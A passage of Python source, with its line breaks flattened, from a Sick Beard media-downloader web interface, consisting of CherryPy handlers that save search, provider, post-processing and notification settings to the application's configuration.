sickbeard.FRENCH_COLUMN = french_column sickbeard.WEB_PORT = int(web_port) sickbeard.WEB_IPV6 = web_ipv6 sickbeard.WEB_LOG = web_log sickbeard.WEB_USERNAME = web_username sickbeard.WEB_PASSWORD = web_password if use_api == "on": use_api = 1 else: use_api = 0 sickbeard.USE_API = use_api sickbeard.API_KEY = api_key if enable_https == "on": enable_https = 1 else: enable_https = 0 sickbeard.ENABLE_HTTPS = enable_https if not config.change_HTTPS_CERT(https_cert): results += ["Unable to create directory " + os.path.normpath(https_cert) + ", https cert dir not changed."] if not config.change_HTTPS_KEY(https_key): results += ["Unable to create directory " + os.path.normpath(https_key) + ", https key dir not changed."] config.change_VERSION_NOTIFY(version_notify) sickbeard.save_config() if len(results) > 0: for x in results: logger.log(x, logger.ERROR) ui.notifications.error('Error(s) Saving Configuration', '<br />\n'.join(results)) else: ui.notifications.message('Configuration Saved', ek.ek(os.path.join, sickbeard.CONFIG_FILE) ) redirect("/config/general/") class ConfigSearch: @cherrypy.expose def index(self): t = PageTemplate(file="config_search.tmpl") t.submenu = ConfigMenu return _munge(t) @cherrypy.expose def saveSearch(self, use_nzbs=None, use_torrents=None, nzb_dir=None, sab_username=None, sab_password=None, sab_apikey=None, sab_category=None, sab_host=None, nzbget_password=None, nzbget_category=None, nzbget_host=None, torrent_dir=None,torrent_method=None, nzb_method=None, usenet_retention=None, search_frequency=None, french_delay=None, download_propers=None, download_french=None, torrent_username=None, torrent_password=None, torrent_host=None, torrent_label=None, torrent_path=None, torrent_custom_url=None, torrent_ratio=None, torrent_paused=None, ignore_words=None, prefered_method=None, torrent_use_ftp = None, ftp_host=None, ftp_port=None, ftp_timeout=None, ftp_passive = None, ftp_login=None, ftp_password=None, ftp_remotedir=None): results = [] if not config.change_NZB_DIR(nzb_dir): results += ["Unable to create directory " + os.path.normpath(nzb_dir) + ", dir not changed."] if not config.change_TORRENT_DIR(torrent_dir): results += ["Unable to create directory " + os.path.normpath(torrent_dir) + ", dir not changed."] config.change_SEARCH_FREQUENCY(search_frequency) if download_propers == "on": download_propers = 1 else: download_propers = 0 if download_french == "on": download_french = 1 else: download_french = 0 if use_nzbs == "on": use_nzbs = 1 else: use_nzbs = 0 if use_torrents == "on": use_torrents = 1 else: use_torrents = 0 if usenet_retention == None: usenet_retention = 200 if french_delay == None: french_delay = 120 if ignore_words == None: ignore_words = "" if ftp_port == None: ftp_port = 21 if ftp_timeout == None: ftp_timeout = 120 sickbeard.USE_NZBS = use_nzbs sickbeard.USE_TORRENTS = use_torrents sickbeard.NZB_METHOD = nzb_method sickbeard.PREFERED_METHOD = prefered_method sickbeard.TORRENT_METHOD = torrent_method sickbeard.USENET_RETENTION = int(usenet_retention) sickbeard.FRENCH_DELAY = int(french_delay) sickbeard.IGNORE_WORDS = ignore_words sickbeard.DOWNLOAD_PROPERS = download_propers sickbeard.DOWNLOAD_FRENCH = download_french sickbeard.SAB_USERNAME = sab_username sickbeard.SAB_PASSWORD = sab_password sickbeard.SAB_APIKEY = sab_apikey.strip() sickbeard.SAB_CATEGORY = sab_category if sab_host and not re.match('https?://.*', sab_host): sab_host = 'http://' + sab_host if not sab_host.endswith('/'): sab_host = sab_host + '/' sickbeard.SAB_HOST = sab_host sickbeard.NZBGET_PASSWORD = nzbget_password sickbeard.NZBGET_CATEGORY = nzbget_category sickbeard.NZBGET_HOST = nzbget_host sickbeard.TORRENT_USERNAME = torrent_username sickbeard.TORRENT_PASSWORD = torrent_password sickbeard.TORRENT_LABEL = torrent_label sickbeard.TORRENT_PATH = torrent_path if torrent_custom_url == "on": torrent_custom_url = 1 else: torrent_custom_url = 0 sickbeard.TORRENT_CUSTOM_URL = torrent_custom_url sickbeard.TORRENT_RATIO = torrent_ratio if torrent_paused == "on": torrent_paused = 1 else: torrent_paused = 0 sickbeard.TORRENT_PAUSED = torrent_paused if torrent_host and not re.match('https?://.*', torrent_host): torrent_host = 'http://' + torrent_host if not torrent_host.endswith('/'): torrent_host = torrent_host + '/' sickbeard.TORRENT_HOST = torrent_host if torrent_use_ftp == "on": torrent_use_ftp = 1 else: torrent_use_ftp = 0 sickbeard.USE_TORRENT_FTP = torrent_use_ftp sickbeard.FTP_HOST = ftp_host sickbeard.FTP_PORT = ftp_port sickbeard.FTP_TIMEOUT = ftp_timeout if ftp_passive == "on": ftp_passive = 1 else: ftp_passive = 0 sickbeard.FTP_PASSIVE = ftp_passive sickbeard.FTP_LOGIN = ftp_login sickbeard.FTP_PASSWORD = ftp_password sickbeard.FTP_DIR = ftp_remotedir sickbeard.save_config() if len(results) > 0: for x in results: logger.log(x, logger.ERROR) ui.notifications.error('Error(s) Saving Configuration', '<br />\n'.join(results)) else: ui.notifications.message('Configuration Saved', ek.ek(os.path.join, sickbeard.CONFIG_FILE) ) redirect("/config/search/") class ConfigPostProcessing: @cherrypy.expose def index(self): t = PageTemplate(file="config_postProcessing.tmpl") t.submenu = ConfigMenu return _munge(t) @cherrypy.expose def savePostProcessing(self, naming_pattern=None, naming_multi_ep=None, xbmc_data=None, xbmc__frodo__data=None, mediabrowser_data=None, synology_data=None, sony_ps3_data=None, wdtv_data=None, tivo_data=None, use_banner=None, keep_processed_dir=None, process_method=None, process_automatically=None, process_automatically_torrent=None, rename_episodes=None, move_associated_files=None, tv_download_dir=None, torrent_download_dir=None, naming_custom_abd=None, naming_abd_pattern=None): results = [] if not config.change_TV_DOWNLOAD_DIR(tv_download_dir): results += ["Unable to create directory " + os.path.normpath(tv_download_dir) + ", dir not changed."] if not config.change_TORRENT_DOWNLOAD_DIR(torrent_download_dir): results += ["Unable to create directory " + os.path.normpath(torrent_download_dir) + ", dir not changed."] if use_banner == "on": use_banner = 1 else: use_banner = 0 if process_automatically == "on": process_automatically = 1 else: process_automatically = 0 if process_automatically_torrent == "on": process_automatically_torrent = 1 else: process_automatically_torrent = 0 if rename_episodes == "on": rename_episodes = 1 else: rename_episodes = 0 if keep_processed_dir == "on": keep_processed_dir = 1 else: keep_processed_dir = 0 if move_associated_files == "on": move_associated_files = 1 else: move_associated_files = 0 if naming_custom_abd == "on": naming_custom_abd = 1 else: naming_custom_abd = 0 sickbeard.PROCESS_AUTOMATICALLY = process_automatically sickbeard.PROCESS_AUTOMATICALLY_TORRENT = process_automatically_torrent sickbeard.KEEP_PROCESSED_DIR = keep_processed_dir sickbeard.PROCESS_METHOD = process_method sickbeard.RENAME_EPISODES = rename_episodes sickbeard.MOVE_ASSOCIATED_FILES = move_associated_files sickbeard.NAMING_CUSTOM_ABD = naming_custom_abd sickbeard.metadata_provider_dict['XBMC'].set_config(xbmc_data) sickbeard.metadata_provider_dict['XBMC (Frodo)'].set_config(xbmc__frodo__data) sickbeard.metadata_provider_dict['MediaBrowser'].set_config(mediabrowser_data) sickbeard.metadata_provider_dict['Synology'].set_config(synology_data) sickbeard.metadata_provider_dict['Sony PS3'].set_config(sony_ps3_data) sickbeard.metadata_provider_dict['WDTV'].set_config(wdtv_data) sickbeard.metadata_provider_dict['TIVO'].set_config(tivo_data) if self.isNamingValid(naming_pattern, naming_multi_ep) != "invalid": sickbeard.NAMING_PATTERN = naming_pattern sickbeard.NAMING_MULTI_EP = int(naming_multi_ep) sickbeard.NAMING_FORCE_FOLDERS = naming.check_force_season_folders() else: results.append("You tried saving an invalid naming config, not saving your naming settings") if self.isNamingValid(naming_abd_pattern, None, True) != "invalid": sickbeard.NAMING_ABD_PATTERN = naming_abd_pattern elif naming_custom_abd: results.append("You tried saving an invalid air-by-date naming config, not saving your air-by-date settings") sickbeard.USE_BANNER = use_banner sickbeard.save_config() if len(results) > 0: for x in results: logger.log(x, logger.ERROR) ui.notifications.error('Error(s) Saving Configuration', '<br />\n'.join(results)) else: ui.notifications.message('Configuration Saved', ek.ek(os.path.join, sickbeard.CONFIG_FILE) ) redirect("/config/postProcessing/") @cherrypy.expose def testNaming(self, pattern=None, multi=None, abd=False): if multi != None: multi = int(multi) result = naming.test_name(pattern, multi, abd) result = ek.ek(os.path.join, result['dir'], result['name']) return result @cherrypy.expose def isNamingValid(self, pattern=None, multi=None, abd=False): if pattern == None: return "invalid" # air by date shows just need one check, we don't need to worry about season folders if abd: is_valid = naming.check_valid_abd_naming(pattern) require_season_folders = False else: # check validity of single and multi ep cases for the whole path is_valid = naming.check_valid_naming(pattern, multi) # check validity of single and multi ep cases for only the file name require_season_folders = naming.check_force_season_folders(pattern, multi) if is_valid and not require_season_folders: return "valid" elif is_valid and require_season_folders: return "seasonfolders" else: return "invalid" class ConfigProviders: @cherrypy.expose def index(self): t = PageTemplate(file="config_providers.tmpl") t.submenu = ConfigMenu return _munge(t) @cherrypy.expose def canAddNewznabProvider(self, name): if not name: return json.dumps({'error': 'Invalid name specified'}) providerDict = dict(zip([x.getID() for x in sickbeard.newznabProviderList], sickbeard.newznabProviderList)) tempProvider = newznab.NewznabProvider(name, '') if tempProvider.getID() in providerDict: return json.dumps({'error': 'Exists as '+providerDict[tempProvider.getID()].name}) else: return json.dumps({'success': tempProvider.getID()}) @cherrypy.expose def saveNewznabProvider(self, name, url, key=''): if not name or not url: return '0' if not url.endswith('/'): url = url + '/' providerDict = dict(zip([x.name for x in sickbeard.newznabProviderList], sickbeard.newznabProviderList)) if name in providerDict: if not providerDict[name].default: providerDict[name].name = name providerDict[name].url = url providerDict[name].key = key return providerDict[name].getID() + '|' + providerDict[name].configStr() else: newProvider = newznab.NewznabProvider(name, url, key) sickbeard.newznabProviderList.append(newProvider) return newProvider.getID() + '|' + newProvider.configStr() @cherrypy.expose def deleteNewznabProvider(self, id): providerDict = dict(zip([x.getID() for x in sickbeard.newznabProviderList], sickbeard.newznabProviderList)) if id not in providerDict or providerDict[id].default: return '0' # delete it from the list sickbeard.newznabProviderList.remove(providerDict[id]) if id in sickbeard.PROVIDER_ORDER: sickbeard.PROVIDER_ORDER.remove(id) return '1' @cherrypy.expose def saveProviders(self, nzbmatrix_username=None, nzbmatrix_apikey=None, nzbs_r_us_uid=None, nzbs_r_us_hash=None, newznab_string='', omgwtfnzbs_uid=None, omgwtfnzbs_key=None, tvtorrents_digest=None, tvtorrents_hash=None, torrentleech_key=None, btn_api_key=None, newzbin_username=None, newzbin_password=None,t411_username=None,t411_password=None,ftdb_username=None,ftdb_password=None,tpi_username=None,tpi_password=None,addict_username=None,addict_password=None,fnt_username=None,fnt_password=None,xthor_username=None,xthor_password=None,thinkgeek_username=None,thinkgeek_password=None, gks_key=None, ethor_key=None, provider_order=None): results = [] provider_str_list = provider_order.split() provider_list = [] newznabProviderDict = dict(zip([x.getID() for x in sickbeard.newznabProviderList], sickbeard.newznabProviderList)) finishedNames = [] # add all the newznab info we got into our list for curNewznabProviderStr in newznab_string.split('!!!'): if not curNewznabProviderStr: continue curName, curURL, curKey = curNewznabProviderStr.split('|') newProvider = newznab.NewznabProvider(curName, curURL, curKey) curID = newProvider.getID() # if it already exists then update it if curID in newznabProviderDict: newznabProviderDict[curID].name = curName newznabProviderDict[curID].url = curURL newznabProviderDict[curID].key = curKey else: sickbeard.newznabProviderList.append(newProvider) finishedNames.append(curID) # delete anything that is missing for curProvider in sickbeard.newznabProviderList: if curProvider.getID() not in finishedNames: sickbeard.newznabProviderList.remove(curProvider) # do the enable/disable for curProviderStr in provider_str_list: curProvider, curEnabled = curProviderStr.split(':') curEnabled = int(curEnabled) provider_list.append(curProvider) if curProvider == 'nzbs_r_us': sickbeard.NZBSRUS = curEnabled elif curProvider == 'nzbs_org_old': sickbeard.NZBS = curEnabled elif curProvider == 'nzbmatrix': sickbeard.NZBMATRIX = curEnabled elif curProvider == 'newzbin': sickbeard.NEWZBIN = curEnabled elif curProvider == 'bin_req': sickbeard.BINREQ = curEnabled elif curProvider == 'womble_s_index': sickbeard.WOMBLE = curEnabled elif curProvider == 'nzbx': sickbeard.NZBX = curEnabled elif curProvider == 'omgwtfnzbs': sickbeard.OMGWTFNZBS = curEnabled elif curProvider == 'ezrss': sickbeard.EZRSS = curEnabled elif curProvider == 'tvtorrents': sickbeard.TVTORRENTS = curEnabled elif curProvider == 'torrentleech': sickbeard.TORRENTLEECH = curEnabled elif curProvider == 'btn': sickbeard.BTN = curEnabled elif curProvider == 'binnewz': sickbeard.BINNEWZ = curEnabled elif curProvider == 't411': sickbeard.T411 = curEnabled elif curProvider == 'ftdb': sickbeard.FTDB = curEnabled elif curProvider == 'tpi': sickbeard.TPI = curEnabled elif curProvider == 'addict': sickbeard.ADDICT = curEnabled elif curProvider == 'fnt': sickbeard.FNT = curEnabled elif curProvider == 'xthor': sickbeard.XTHOR = curEnabled elif curProvider == 'thinkgeek': sickbeard.THINKGEEK = curEnabled elif curProvider == 'cpasbien': sickbeard.Cpasbien = curEnabled elif curProvider == 'kat': sickbeard.kat = curEnabled elif curProvider == 'piratebay': sickbeard.THEPIRATEBAY = curEnabled elif curProvider == 'gks': sickbeard.GKS = curEnabled elif curProvider == 'ethor': sickbeard.ETHOR = curEnabled elif curProvider in newznabProviderDict: newznabProviderDict[curProvider].enabled = bool(curEnabled) else: logger.log(u"don't know what " + curProvider + " is, skipping") sickbeard.TVTORRENTS_DIGEST = tvtorrents_digest.strip() sickbeard.TVTORRENTS_HASH = tvtorrents_hash.strip() sickbeard.TORRENTLEECH_KEY = torrentleech_key.strip() sickbeard.ETHOR_KEY = ethor_key.strip() sickbeard.BTN_API_KEY = btn_api_key.strip() sickbeard.T411_USERNAME = t411_username sickbeard.T411_PASSWORD = t411_password sickbeard.FTDB_USERNAME = ftdb_username sickbeard.FTDB_PASSWORD = ftdb_password sickbeard.TPI_USERNAME = tpi_username sickbeard.TPI_PASSWORD = tpi_password sickbeard.ADDICT_USERNAME = addict_username sickbeard.ADDICT_PASSWORD = addict_password sickbeard.FNT_USERNAME = fnt_username sickbeard.FNT_PASSWORD = fnt_password sickbeard.XTHOR_USERNAME = xthor_username sickbeard.XTHOR_PASSWORD = xthor_password sickbeard.THINKGEEK_USERNAME = thinkgeek_username sickbeard.THINKGEEK_PASSWORD = thinkgeek_password sickbeard.NZBSRUS_UID = nzbs_r_us_uid.strip() sickbeard.NZBSRUS_HASH = nzbs_r_us_hash.strip() sickbeard.OMGWTFNZBS_UID = omgwtfnzbs_uid.strip() sickbeard.OMGWTFNZBS_KEY = omgwtfnzbs_key.strip() sickbeard.GKS_KEY = gks_key.strip() sickbeard.PROVIDER_ORDER = provider_list sickbeard.save_config() if len(results) > 0: for x in results: logger.log(x, logger.ERROR) ui.notifications.error('Error(s) Saving Configuration', '<br />\n'.join(results)) else: ui.notifications.message('Configuration Saved', ek.ek(os.path.join, sickbeard.CONFIG_FILE) ) redirect("/config/providers/") class ConfigNotifications: @cherrypy.expose def index(self): t = PageTemplate(file="config_notifications.tmpl") t.submenu = ConfigMenu return _munge(t) @cherrypy.expose def saveNotifications(self, use_xbmc=None, xbmc_notify_onsnatch=None, xbmc_notify_ondownload=None, xbmc_update_onlyfirst=None, xbmc_notify_onsubtitledownload=None, xbmc_update_library=None, xbmc_update_full=None, xbmc_host=None, xbmc_username=None, xbmc_password=None, use_plex=None, plex_notify_onsnatch=None, plex_notify_ondownload=None, plex_notify_onsubtitledownload=None, plex_update_library=None, plex_server_host=None, plex_host=None, plex_username=None, plex_password=None, use_growl=None, growl_notify_onsnatch=None, growl_notify_ondownload=None, growl_notify_onsubtitledownload=None, growl_host=None, growl_password=None, use_prowl=None, prowl_notify_onsnatch=None, prowl_notify_ondownload=None, prowl_notify_onsubtitledownload=None, prowl_api=None, prowl_priority=0, use_twitter=None, twitter_notify_onsnatch=None, twitter_notify_ondownload=None, twitter_notify_onsubtitledownload=None, use_boxcar=None, boxcar_notify_onsnatch=None, boxcar_notify_ondownload=None, boxcar_notify_onsubtitledownload=None, boxcar_username=None, use_pushover=None, pushover_notify_onsnatch=None, pushover_notify_ondownload=None, pushover_notify_onsubtitledownload=None, pushover_userkey=None, use_libnotify=None, libnotify_notify_onsnatch=None, libnotify_notify_ondownload=None, libnotify_notify_onsubtitledownload=None, use_nmj=None, nmj_host=None, nmj_database=None, nmj_mount=None, use_synoindex=None, use_nmjv2=None, nmjv2_host=None, nmjv2_dbloc=None, nmjv2_database=None, use_trakt=None, trakt_username=None, trakt_password=None, trakt_api=None,trakt_remove_watchlist=None,trakt_use_watchlist=None,trakt_start_paused=None,trakt_method_add=None, use_synologynotifier=None, synologynotifier_notify_onsnatch=None, synologynotifier_notify_ondownload=None, synologynotifier_notify_onsubtitledownload=None, use_pytivo=None, pytivo_notify_onsnatch=None, pytivo_notify_ondownload=None, pytivo_notify_onsubtitledownload=None, pytivo_update_library=None, pytivo_host=None, pytivo_share_name=None, pytivo_tivo_name=None, use_nma=None, nma_notify_onsnatch=None, nma_notify_ondownload=None, nma_notify_onsubtitledownload=None, nma_api=None, nma_priority=0, use_pushalot=None, pushalot_notify_onsnatch=None, pushalot_notify_ondownload=None, pushalot_notify_onsubtitledownload=None, pushalot_authorizationtoken=None, use_pushbullet=None, pushbullet_notify_onsnatch=None, pushbullet_notify_ondownload=None, pushbullet_notify_onsubtitledownload=None, pushbullet_api=None, pushbullet_device=None, pushbullet_device_list=None, use_mail=None, mail_username=None, mail_password=None, mail_server=None, mail_ssl=None, mail_from=None, mail_to=None, mail_notify_onsnatch=None ): results = [] if xbmc_notify_onsnatch == "on": xbmc_notify_onsnatch = 1 else: xbmc_notify_onsnatch = 0 if xbmc_notify_ondownload == "on": xbmc_notify_ondownload = 1 else: xbmc_notify_ondownload = 0 if xbmc_notify_onsubtitledownload == "on": xbmc_notify_onsubtitledownload = 1 else: xbmc_notify_onsubtitledownload = 0 if xbmc_update_library == "on": xbmc_update_library = 1 else: xbmc_update_library = 0 if xbmc_update_full == "on": xbmc_update_full = 1 else: xbmc_update_full = 0 if xbmc_update_onlyfirst == "on": xbmc_update_onlyfirst = 1 else: xbmc_update_onlyfirst = 0 if use_xbmc == "on": use_xbmc = 1 else: use_xbmc = 0 if plex_update_library == "on": plex_update_library = 1 else: plex_update_library = 0 if plex_notify_onsnatch == "on": plex_notify_onsnatch = 1 else: plex_notify_onsnatch = 0 if plex_notify_ondownload == "on": plex_notify_ondownload = 1 else: plex_notify_ondownload = 0 if plex_notify_onsubtitledownload == "on": plex_notify_onsubtitledownload = 1 else: plex_notify_onsubtitledownload = 0 if use_plex == "on": use_plex = 1 else: use_plex = 0 if growl_notify_onsnatch == "on": growl_notify_onsnatch = 1 else: growl_notify_onsnatch = 0 if growl_notify_ondownload == "on": growl_notify_ondownload = 1 else: growl_notify_ondownload = 0 if growl_notify_onsubtitledownload == "on": growl_notify_onsubtitledownload = 1 else: growl_notify_onsubtitledownload = 0 if use_growl == "on": use_growl = 1 else: use_growl = 0 if prowl_notify_onsnatch == "on": prowl_notify_onsnatch = 1 else: prowl_notify_onsnatch = 0 if prowl_notify_ondownload == "on": prowl_notify_ondownload = 1 else: prowl_notify_ondownload = 0 if prowl_notify_onsubtitledownload == "on": prowl_notify_onsubtitledownload = 1 else: prowl_notify_onsubtitledownload = 0 if use_prowl == "on": use_prowl = 1 else: use_prowl = 0 if twitter_notify_onsnatch == "on": twitter_notify_onsnatch = 1 else: twitter_notify_onsnatch = 0 if twitter_notify_ondownload == "on": twitter_notify_ondownload = 1 else: twitter_notify_ondownload = 0 if twitter_notify_onsubtitledownload == "on": twitter_notify_onsubtitledownload = 1 else: twitter_notify_onsubtitledownload = 0 if use_twitter == "on": use_twitter = 1 else: use_twitter = 0 if boxcar_notify_onsnatch == "on": boxcar_notify_onsnatch = 1 else: boxcar_notify_onsnatch = 0 if boxcar_notify_ondownload == "on": boxcar_notify_ondownload = 1 else: boxcar_notify_ondownload = 0 if boxcar_notify_onsubtitledownload == "on": boxcar_notify_onsubtitledownload = 1 else: boxcar_notify_onsubtitledownload = 0 if use_boxcar == "on": use_boxcar = 1 else: use_boxcar = 0 if pushover_notify_onsnatch == "on": pushover_notify_onsnatch = 1 else: pushover_notify_onsnatch = 0 if pushover_notify_ondownload == "on": pushover_notify_ondownload = 1 else: pushover_notify_ondownload = 0 if pushover_notify_onsubtitledownload == "on": pushover_notify_onsubtitledownload = 1 else: pushover_notify_onsubtitledownload = 0 if use_pushover == "on": use_pushover = 1 else: use_pushover = 0 if use_nmj == "on": use_nmj = 1 else: use_nmj = 0 if use_synoindex == "on": use_synoindex = 1 else: use_synoindex = 0 if use_synologynotifier == "on": use_synologynotifier = 1 else: use_synologynotifier = 0 if synologynotifier_notify_onsnatch == "on": synologynotifier_notify_onsnatch = 1 else: synologynotifier_notify_onsnatch = 0 if synologynotifier_notify_ondownload == "on": synologynotifier_notify_ondownload = 1 else: synologynotifier_notify_ondownload = 0 if synologynotifier_notify_onsubtitledownload == "on": synologynotifier_notify_onsubtitledownload = 1 else: synologynotifier_notify_onsubtitledownload = 0 if use_nmjv2 == "on": use_nmjv2 = 1 else: use_nmjv2 = 0 if use_trakt == "on": use_trakt = 1 else: use_trakt = 0 if trakt_remove_watchlist == "on": trakt_remove_watchlist = 1 else: trakt_remove_watchlist = 0 if trakt_use_watchlist == "on": trakt_use_watchlist = 1 else: trakt_use_watchlist = 0 if trakt_start_paused == "on": trakt_start_paused = 1 else: trakt_start_paused = 0 if use_pytivo == "on": use_pytivo = 1 else: use_pytivo = 0 if pytivo_notify_onsnatch == "on": pytivo_notify_onsnatch = 1 else: pytivo_notify_onsnatch = 0 if pytivo_notify_ondownload == "on": pytivo_notify_ondownload = 1 else: pytivo_notify_ondownload = 0 if pytivo_notify_onsubtitledownload == "on": pytivo_notify_onsubtitledownload = 1 else: pytivo_notify_onsubtitledownload = 0 if pytivo_update_library == "on": pytivo_update_library = 1 else: pytivo_update_library = 0 if use_nma == "on": use_nma = 1 else: use_nma = 0 if nma_notify_onsnatch == "on": nma_notify_onsnatch = 1 else: nma_notify_onsnatch = 0 if nma_notify_ondownload == "on": nma_notify_ondownload = 1 else: nma_notify_ondownload = 0 if nma_notify_onsubtitledownload == "on": nma_notify_onsubtitledownload = 1 else: nma_notify_onsubtitledownload = 0 if use_mail == "on": use_mail = 1 else: use_mail = 0 if mail_ssl == "on": mail_ssl = 1 else: mail_ssl = 0 if mail_notify_onsnatch == "on": mail_notify_onsnatch = 1 else: mail_notify_onsnatch = 0 if use_pushalot == "on": use_pushalot = 1 else: use_pushalot = 0 if pushalot_notify_onsnatch == "on": pushalot_notify_onsnatch = 1 else: pushalot_notify_onsnatch = 0 if pushalot_notify_ondownload == "on": pushalot_notify_ondownload = 1 else: pushalot_notify_ondownload = 0 if pushalot_notify_onsubtitledownload == "on": pushalot_notify_onsubtitledownload = 1 else: pushalot_notify_onsubtitledownload = 0 if use_pushbullet == "on": use_pushbullet = 1 else: use_pushbullet = 0 if pushbullet_notify_onsnatch == "on": pushbullet_notify_onsnatch = 1 else: pushbullet_notify_onsnatch = 0 if pushbullet_notify_ondownload == "on": pushbullet_notify_ondownload = 1 else: pushbullet_notify_ondownload = 0 if pushbullet_notify_onsubtitledownload == "on": pushbullet_notify_onsubtitledownload = 1 else: pushbullet_notify_onsubtitledownload = 0 sickbeard.USE_XBMC = use_xbmc sickbeard.XBMC_NOTIFY_ONSNATCH = xbmc_notify_onsnatch sickbeard.XBMC_NOTIFY_ONDOWNLOAD = xbmc_notify_ondownload sickbeard.XBMC_NOTIFY_ONSUBTITLEDOWNLOAD = xbmc_notify_onsubtitledownload sickbeard.XBMC_UPDATE_LIBRARY = xbmc_update_library sickbeard.XBMC_UPDATE_FULL = xbmc_update_full sickbeard.XBMC_UPDATE_ONLYFIRST = xbmc_update_onlyfirst sickbeard.XBMC_HOST = xbmc_host sickbeard.XBMC_USERNAME = xbmc_username sickbeard.XBMC_PASSWORD = xbmc_password sickbeard.USE_PLEX = use_plex sickbeard.PLEX_NOTIFY_ONSNATCH = plex_notify_onsnatch sickbeard.PLEX_NOTIFY_ONDOWNLOAD = plex_notify_ondownload sickbeard.PLEX_NOTIFY_ONSUBTITLEDOWNLOAD = plex_notify_onsubtitledownload sickbeard.PLEX_UPDATE_LIBRARY = plex_update_library sickbeard.PLEX_HOST = plex_host sickbeard.PLEX_SERVER_HOST = plex_server_host sickbeard.PLEX_USERNAME = plex_username sickbeard.PLEX_PASSWORD = plex_password sickbeard.USE_GROWL = use_growl sickbeard.GROWL_NOTIFY_ONSNATCH = growl_notify_onsnatch sickbeard.GROWL_NOTIFY_ONDOWNLOAD = growl_notify_ondownload sickbeard.GROWL_NOTIFY_ONSUBTITLEDOWNLOAD = growl_notify_onsubtitledownload sickbeard.GROWL_HOST = growl_host sickbeard.GROWL_PASSWORD = growl_password sickbeard.USE_PROWL = use_prowl sickbeard.PROWL_NOTIFY_ONSNATCH = prowl_notify_onsnatch sickbeard.PROWL_NOTIFY_ONDOWNLOAD = prowl_notify_ondownload sickbeard.PROWL_NOTIFY_ONSUBTITLEDOWNLOAD = prowl_notify_onsubtitledownload sickbeard.PROWL_API = prowl_api sickbeard.PROWL_PRIORITY = prowl_priority sickbeard.USE_TWITTER = use_twitter sickbeard.TWITTER_NOTIFY_ONSNATCH = twitter_notify_onsnatch sickbeard.TWITTER_NOTIFY_ONDOWNLOAD = twitter_notify_ondownload sickbeard.TWITTER_NOTIFY_ONSUBTITLEDOWNLOAD = twitter_notify_onsubtitledownload sickbeard.USE_BOXCAR = use_boxcar sickbeard.BOXCAR_NOTIFY_ONSNATCH = boxcar_notify_onsnatch sickbeard.BOXCAR_NOTIFY_ONDOWNLOAD = boxcar_notify_ondownload sickbeard.BOXCAR_NOTIFY_ONSUBTITLEDOWNLOAD = boxcar_notify_onsubtitledownload sickbeard.BOXCAR_USERNAME = boxcar_username sickbeard.USE_PUSHOVER = use_pushover sickbeard.PUSHOVER_NOTIFY_ONSNATCH = pushover_notify_onsnatch sickbeard.PUSHOVER_NOTIFY_ONDOWNLOAD = pushover_notify_ondownload sickbeard.PUSHOVER_NOTIFY_ONSUBTITLEDOWNLOAD = pushover_notify_onsubtitledownload sickbeard.PUSHOVER_USERKEY = pushover_userkey sickbeard.USE_LIBNOTIFY = use_libnotify == "on" sickbeard.LIBNOTIFY_NOTIFY_ONSNATCH = libnotify_notify_onsnatch == "on" sickbeard.LIBNOTIFY_NOTIFY_ONDOWNLOAD = libnotify_notify_ondownload == "on" sickbeard.LIBNOTIFY_NOTIFY_ONSUBTITLEDOWNLOAD = libnotify_notify_onsubtitledownload == "on" sickbeard.USE_NMJ = use_nmj sickbeard.NMJ_HOST = nmj_host sickbeard.NMJ_DATABASE = nmj_database sickbeard.NMJ_MOUNT = nmj_mount sickbeard.USE_SYNOINDEX = use_synoindex sickbeard.USE_SYNOLOGYNOTIFIER = use_synologynotifier sickbeard.SYNOLOGYNOTIFIER_NOTIFY_ONSNATCH = synologynotifier_notify_onsnatch sickbeard.SYNOLOGYNOTIFIER_NOTIFY_ONDOWNLOAD = synologynotifier_notify_ondownload sickbeard.SYNOLOGYNOTIFIER_NOTIFY_ONSUBTITLEDOWNLOAD = synologynotifier_notify_onsubtitledownload sickbeard.USE_NMJv2 = use_nmjv2 sickbeard.NMJv2_HOST = nmjv2_host sickbeard.NMJv2_DATABASE = nmjv2_database sickbeard.NMJv2_DBLOC = nmjv2_dbloc sickbeard.USE_TRAKT = use_trakt sickbeard.TRAKT_USERNAME = trakt_username sickbeard.TRAKT_PASSWORD = trakt_password sickbeard.TRAKT_API = trakt_api sickbeard.TRAKT_REMOVE_WATCHLIST = trakt_remove_watchlist sickbeard.TRAKT_USE_WATCHLIST = trakt_use_watchlist sickbeard.TRAKT_METHOD_ADD = trakt_method_add sickbeard.TRAKT_START_PAUSED = trakt_start_paused sickbeard.USE_PYTIVO = use_pytivo sickbeard.PYTIVO_NOTIFY_ONSNATCH = pytivo_notify_onsnatch == "off" sickbeard.PYTIVO_NOTIFY_ONDOWNLOAD = pytivo_notify_ondownload == "off" sickbeard.PYTIVO_NOTIFY_ONSUBTITLEDOWNLOAD = pytivo_notify_onsubtitledownload == "off" sickbeard.PYTIVO_UPDATE_LIBRARY = pytivo_update_library sickbeard.PYTIVO_HOST = pytivo_host sickbeard.PYTIVO_SHARE_NAME = pytivo_share_name sickbeard.PYTIVO_TIVO_NAME = pytivo_tivo_name sickbeard.USE_NMA = use_nma sickbeard.NMA_NOTIFY_ONSNATCH = nma_notify_onsnatch sickbeard.NMA_NOTIFY_ONDOWNLOAD = nma_notify_ondownload sickbeard.NMA_NOTIFY_ONSUBTITLEDOWNLOAD = nma_notify_onsubtitledownload sickbeard.NMA_API = nma_api sickbeard.NMA_PRIORITY = nma_priority sickbeard.USE_MAIL = use_mail sickbeard.MAIL_USERNAME = mail_username sickbeard.MAIL_PASSWORD = mail_password sickbeard.MAIL_SERVER = mail_server sickbeard.MAIL_SSL = mail_ssl sickbeard.MAIL_FROM = mail_from sickbeard.MAIL_TO = mail_to sickbeard.MAIL_NOTIFY_ONSNATCH = mail_notify_onsnatch sickbeard.USE_PUSHALOT = use_pushalot sickbeard.PUSHALOT_NOTIFY_ONSNATCH = pushalot_notify_onsnatch sickbeard.PUSHALOT_NOTIFY_ONDOWNLOAD = pushalot_notify_ondownload sickbeard.PUSHALOT_NOTIFY_ONSUBTITLEDOWNLOAD = pushalot_notify_onsubtitledownload sickbeard.PUSHALOT_AUTHORIZATIONTOKEN = pushalot_authorizationtoken sickbeard.USE_PUSHBULLET = use_pushbullet sickbeard.PUSHBULLET_NOTIFY_ONSNATCH = pushbullet_notify_onsnatch sickbeard.PUSHBULLET_NOTIFY_ONDOWNLOAD = pushbullet_notify_ondownload sickbeard.PUSHBULLET_NOTIFY_ONSUBTITLEDOWNLOAD = pushbullet_notify_onsubtitledownload sickbeard.PUSHBULLET_API = pushbullet_api sickbeard.PUSHBULLET_DEVICE = pushbullet_device_list sickbeard.save_config() 